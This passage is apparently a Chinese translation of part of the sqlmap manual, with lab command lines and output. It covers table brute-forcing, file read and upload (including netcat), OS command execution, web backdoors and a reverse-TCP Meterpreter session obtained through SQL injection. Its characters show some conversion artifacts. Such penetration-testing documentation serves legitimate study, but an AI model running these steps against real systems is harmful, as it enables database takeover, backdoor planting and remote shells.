SELECT 'foo', 'bar':    'foo, bar'
 

爆破
暴力破解表名

參數(shù):–common-tables

當(dāng)使用–tables無法獲取到數(shù)據(jù)庫的表時(shí),可以使用此參數(shù)。

通常是如下情況:

1、MySQL數(shù)據(jù)庫版本小于5.0,沒有information_schema表。
2、數(shù)據(jù)庫是Microssoft Access,系統(tǒng)表MSysObjects是不可讀的(默認(rèn))。
3、當(dāng)前用戶沒有權(quán)限讀取系統(tǒng)中保存數(shù)據(jù)結(jié)構(gòu)的表的權(quán)限。
 

暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。

列舉一個(gè)MySQL 4.1的例子:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL &lt; 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+
 

暴力破解列名

參數(shù):–common-columns

與暴力破解表名一樣,暴力跑的列名在txt/common-columns.txt中。

用戶自定義函數(shù)注入
參數(shù):–udf-inject,–shared-lib

你可以通過編譯MySQL注入你自定義的函數(shù)(UDFs)或PostgreSQL在windows中共享庫,DLL,或者Linux/Unix中共享對(duì)象,sqlmap將會(huì)問你一些問題,上傳到服務(wù)器數(shù)據(jù)庫自定義函數(shù),然后根據(jù)你的選擇執(zhí)行他們,當(dāng)你注入完成后,sqlmap將會(huì)移除它們。

系統(tǒng)文件操作
從數(shù)據(jù)庫服務(wù)器中讀取文件

參數(shù):–file-read

當(dāng)數(shù)據(jù)庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當(dāng)前用戶有權(quán)限使用特定的函數(shù)。讀取的文件可以是文本也可以是二進(jìn)制文件。

列舉一個(gè)Microsoft SQL Server 2005的例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"
--file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit
 

把文件上傳到數(shù)據(jù)庫服務(wù)器中

參數(shù):–file-write,–file-dest

當(dāng)數(shù)據(jù)庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當(dāng)前用戶有權(quán)限使用特定的函數(shù)。上傳的文件可以是文本也可以是二進(jìn)制文件。

列舉一個(gè)MySQL的例子:

$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL &gt;= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/software/nc.exe.packed'
 

運(yùn)行任意操作系統(tǒng)命令

參數(shù):–os-cmd,–os-shell

當(dāng)數(shù)據(jù)庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當(dāng)前用戶有權(quán)限使用特定的函數(shù)。

在MySQL、PostgreSQL,sqlmap上傳一個(gè)二進(jìn)制庫,包含用戶自定義的函數(shù),sys_exec()和sys_eval()。

那么他創(chuàng)建的這兩個(gè)函數(shù)可以執(zhí)行系統(tǒng)命令。在Microsoft SQL Server,sqlmap將會(huì)使用xp_cmdshell存儲(chǔ)過程,如果被禁(在Microsoft SQL Server 2005及以上版本默認(rèn)止),sqlmap會(huì)重新啟用它,如果不存在,會(huì)自動(dòng)創(chuàng)建。

列舉一個(gè)PostgreSQL的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1"
--os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually
 

用–os-shell參數(shù)也可以模擬一個(gè)真實(shí)的shell,可以輸入你想執(zhí)行的命令。

當(dāng)不能執(zhí)行多語句的時(shí)候(比如php或者asp的后端數(shù)據(jù)庫為MySQL時(shí)),仍然可能使用INTO OUTFILE寫進(jìn)可寫目錄,來創(chuàng)建一個(gè)web后門。支持的語言:

1、ASP
2、ASP.NET
3、JSP
4、PHP
 

Meterpreter配合使用

參數(shù):–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path

當(dāng)數(shù)據(jù)庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當(dāng)前用戶有權(quán)限使用特定的函數(shù),可以在數(shù)據(jù)庫與攻擊者直接建立TCP連接,這個(gè)連接可以是一個(gè)交互式命令行的Meterpreter會(huì)話,sqlmap根據(jù)Metasploit生成shellcode,并有四種方式執(zhí)行它:

1、通過用戶自定義的sys_bineval()函數(shù)在內(nèi)存中執(zhí)行Metasplit的shellcode,支持MySQL和PostgreSQL數(shù)據(jù)庫,參數(shù):--os-pwn。
2、通過用戶自定義的函數(shù)上傳一個(gè)獨(dú)立的payload執(zhí)行,MySQL和PostgreSQL的sys_exec()函數(shù),Microsoft SQL Server的xp_cmdshell()函數(shù),參數(shù):--os-pwn。
3、通過SMB攻擊(MS08-068)來執(zhí)行Metasploit的shellcode,當(dāng)sqlmap獲取到的權(quán)限足夠高的時(shí)候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通過溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存儲(chǔ)過程(MS09-004),在內(nèi)存中執(zhí)行Metasploit的payload,參數(shù):--os-bof
列舉一個(gè)MySQL例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
&gt;
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
&gt;
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
&gt;
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
&gt;
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
&gt;
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..

                                _
                                | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / _|/ _|/  /  _|  |
|  |  |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/
                        /|
                        |

    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD =&gt; windows/meterpreter/reverse_tcp
EXITFUNC =&gt; thread
LPORT =&gt; 60641
LHOST =&gt; 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval',
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -&gt; 192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011

meterpreter &gt; Loading extension espia...success.
meterpreter &gt; Loading extension incognito...success.
meterpreter &gt; [-] The 'priv' extension has already been loaded.
meterpreter &gt; Loading extension sniffer...success.
meterpreter &gt; System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter &gt; Server username: NT AUTHORITYSYSTEM
meterpreter &gt; ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0

meterpreter &gt; exit

[*] Meterpreter session 1 closed.  Reason: User exit
默認(rèn)情況下MySQL在Windows上以SYSTEM權(quán)限運(yùn)行,PostgreSQL在Windows與Linux中是低權(quán)限運(yùn)行,Microsoft SQL Server 2000默認(rèn)是以SYSTEM權(quán)限運(yùn)行,Microsoft SQL Server 2005與2008大部分是以NETWORK SERVICE有時(shí)是LOCAL SERVICE。

相關(guān)文章

最新評(píng)論